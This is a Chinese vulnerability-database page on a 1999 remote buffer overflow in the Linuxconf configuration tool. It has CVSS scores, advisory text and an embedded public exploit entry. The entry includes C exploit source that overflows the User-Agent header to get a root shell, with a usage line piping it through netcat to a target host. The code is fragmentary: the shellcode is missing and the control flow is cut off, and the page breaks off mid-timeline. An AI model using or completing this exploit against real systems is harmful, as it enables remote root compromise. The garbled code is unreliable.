发布时间 :1999-12-21 00:00:00
修订时间 :2008-09-10 15:02:19

[原文]Buffer overflow in Linux linuxconf package allows remote attackers to gain root privileges via a long parameter.

[CNNVD]Linux linuxconf包缓冲区溢出漏洞(CNNVD-199912-064)

        Linux linuxconf包中存在缓冲区溢出漏洞,远程攻击者利用该漏洞通过一个长的参数获得根特权。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源

- 漏洞信息

Linux linuxconf包缓冲区溢出漏洞
危急 缓冲区溢出
1999-12-21 00:00:00 2005-10-20 00:00:00
        Linux linuxconf包中存在缓冲区溢出漏洞,远程攻击者利用该漏洞通过一个长的参数获得根特权。

- 公告与补丁


- 漏洞信息 (20619)

Linuxconf 1.1.6 r10 Remote Buffer Overflow Vulnerablity (EDBID:20619)
linux remote
1999-12-21 Verified
0 R00T-X
N/A [点击下载]

Linuxconf is a Linux configuration utility from Solucorp.

An attacker supplying excess data to the USER_AGENT field in vulnerable versions of Linuxconf. This data can overflow the relevant buffer, creating a stack overflow and, properly exploited, allowing remote execution of arbitrary code as root.


  linuxconf exploit by R00T-X (c) 1999

  USER_AGENT overflow x86
  should work on all linux's but you need to have
  network access to linuxconf

  greetz to: j0e, AcidCrunCh, |420|, umm and everyone who knows me, heh :P

  have fun with this but for EDUCATIONAL PURPOSES :)

  Usage:   (./linexp <offset>;cat)| nc targethost 98


char shell[] =

#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <string.h>

#define BUFLEN 1025
#define NOP 0x90

main (int argc, char *argv[])
  char buf[BUFLEN];
  int offset,nop,i;
  unsigned long esp;
  char shell[1024+300];

  if(argc < 2)
  fprintf(stderr,"usage: (%s <offset>;cat)|nc 98\n", argv[0]);

  nop = 511;
  esp = 0xefbfd5e8;
  offset = atoi(argv[1]);

  memset(buf, NOP, BUFLEN);
  memcpy(buf+(long)nop, shell, strlen(shell));

  for (i = 256; i < BUFLEN - 3; i += 2)
{    *((int *) &buf[i]) = esp + (long) offset;
     shell[ sizeof(shell)-1 ] = 0;

 printf("POST / HTTP/1.0\r\nContent-Length: %d, User-agent: \r\n", BUFLEN);
  for (i = 0; i < BUFLEN; i++)




- 漏洞信息

Linuxconf Long Parameter Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A remote overflow may exists in Linuxconf. The issue is due to the handling of HTTP headers resulting in a buffer overflow. When the Web administration mode is enabled, a remote attacker could send an overly long parameter to the USER_AGENT field, which may allow arbitrary code execution reulting in a loss of integrity.

- 时间线

1999-12-21 Ul99-1: